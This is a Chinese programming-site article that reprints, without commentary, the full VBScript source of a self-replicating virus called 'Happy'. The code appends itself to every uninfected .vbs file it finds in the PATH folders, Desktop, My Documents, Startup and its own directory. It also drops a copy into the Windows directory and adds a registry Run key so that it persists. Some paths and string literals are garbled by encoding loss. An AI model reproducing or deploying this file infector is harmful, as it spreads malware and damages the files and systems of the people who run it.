|
一个用VBS编写的病毒[Happy] |
|
|
|
www.nanhushi.com 佚名 不详 |
|
一个用VBS编写的病毒[Happy]
Happy Virus Code
注释：?
On Error Resume Next
Dim IV6, U187, IV7, IV1, IV2, IV3, IV4
Dim T111
Dim IV5(200)
Dim XR
Set WSHShell = Wscript.CreateObject("Wscript.Shell")
Set WshSysEnv = WSHShell.Environment("Process")
IV10 = WshSysEnv("Path")
IV7 = WSHShell.EXPandEnvironmentStrings("%windir%avm.vbs")
IV1 = Wscript.ScriptFullName
Set IV6 = CreateObject("Scripting.FileSystemObject")
XR = 1
T11 = Wscript.ScriptFullName
For x = Len(IV10) To 1 Step -1
IV4 = Mid(IV10, x, 1)
If IV4 <> ";" Then
IV5(XR) = IV4 + IV5(XR)
ElseIf IV4 = ";" Then
IV5(XR) = IV5(XR) + ""
XR = XR + 1
End If
Next
IV5(XR) = IV5(XR) + ""
IV5(XR + 1) = WSHShell.SpecialFolders("Desktop") + ""
IV5(XR + 2) = WSHShell.SpecialFolders("MyDocuments") + ""
IV5(XR + 3) = WSHShell.SpecialFolders("Startup") + ""
IV5(XR + 4) = Left(T11, InStrRev(T11, ""))
Set TS = IV6.OpenTextFile(T11, 1)
IV9 = TS.ReadAll
TS.Close
IV8 = Chr(167)
endIV8 = "注释：" & IV8
For x = Len(IV9) To 1 Step -1
If Mid(IV9, x, 1) = IV8 Then
x = 1
IV3 = endIV8 + IV3
ElseIf Mid(IV9, x, 1) <> IV8 Then
IV3 = Mid(IV9, x, 1) + IV3
End If
Next
For y = 1 To (XR + 4)
For Each Target In IV6.GetFolder(IV5(y)).Files
If UCase(Right(Target.Name, 3)) = "VBS" Then
IV11 = ""
Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 1)
IV11 = TS.ReadAll
TS.Close
If mid(IV11,(len(IV11)-2),1) <> "? Then
Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 8)
TS.Write IV3
TS.Close
End If
End If
Next
Next
FIV11 (IV7)
If T111 = False Then
WSHShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunAVM", IV7
Set U187 = IV6.OpenTextFile(IV7, 2, True)
U187.Write IV3
U187.Close
End If
Function FIV11(filespec)
Set IV6 = CreateObject("Scripting.FileSystemObject")
If (IV6.FileExists(filespec)) Then
T111 = True
Else
T111 = False
End If
End Function
|
|
|
|
| 文章录入：杜斌 责任编辑：杜斌 |
|
上一篇文章： 用VB做realplayer播放列表
下一篇文章： 一个取小数位数的函数（能四舍五入） |
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
| |
|
